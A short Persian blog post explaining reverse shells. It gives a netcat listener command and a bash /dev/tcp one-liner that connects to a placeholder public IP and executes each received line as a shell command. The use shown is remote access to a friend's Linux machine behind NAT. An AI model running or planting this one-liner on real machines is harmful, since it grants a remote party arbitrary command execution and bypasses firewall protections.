بعضی وقتها نیاز میشه که به شل یه لینوکس از راه دور دسترسی پیدا کنید. اما این شل پشت یه فایروالی، natـی، چیزی است که در عمل به شما اجازه دسترسی نمیده.
برای رفع مشکل از یه روشی میشه استفاده کرد به اسم reverse shell!
یه سری ابزار برای اینکار وجود داره اما یه راه سریع هم هست! یه دستور داریم به نام nc که خیلی مفیده! با این دستور میتونید یه پورت روی کامپیوتر خودتون باز کنید و هر کی بهش وصل میشه را مشاهده کنید. بعد هر چی شما بگین ارسال بشه برای اون و هرچی هم اون میفرسته شما روی مانیتور ببینید. البته این یه کاربرد این ابزاره که برای کار ما به درد میخوره:
روی کامپیوتر خودتون دستور زیر را اجرا کنید:
nc -l -p 8080 -vvv
بعد به دوستتون بگین که روی کامپیوتر خودش این دو تا دستور را اجرا کنه:
exec 5<>/dev/tcp/YOUR_PUBLIC_IP_ADDRESS/8080 cat <&5 | while read line; do $line 2>&5 >&5; done
با اجرای دستور دوم توسط دوستتون شما به یه شل ساده دسترسی پیدا میکنید و هر دستوری که تایپ کنید ارسال میشه روی کامپیوتر دوستتون و اونجا اجرا میشه و خروجیش هم برای شما برمیگرده!
واضح است که به جای YOUR_PUBLIC_IP_ADDRESS باید آیپی اینترنت کامپیوتر خودتون را بزارین. که البته باید از اینترنت قابل دسترس باشد. و البته میتونید در هر دو طرف ۸۰۸۰ را با یه شماره پورت دیگه عوض کنید!
به همین سادگی به همین خوشمزگی! اینه قدرت لینوکس! حالا ویندوزیا خودشون را بکشند نرمافزار team viewer پیدا میکنند! 😉
البته شعار گوگل فراموش نشه! not be evil!
پ.ن.۱: این روش را اینجا خوندم
پ.ن.۲: nc در معرفی خودش میگه: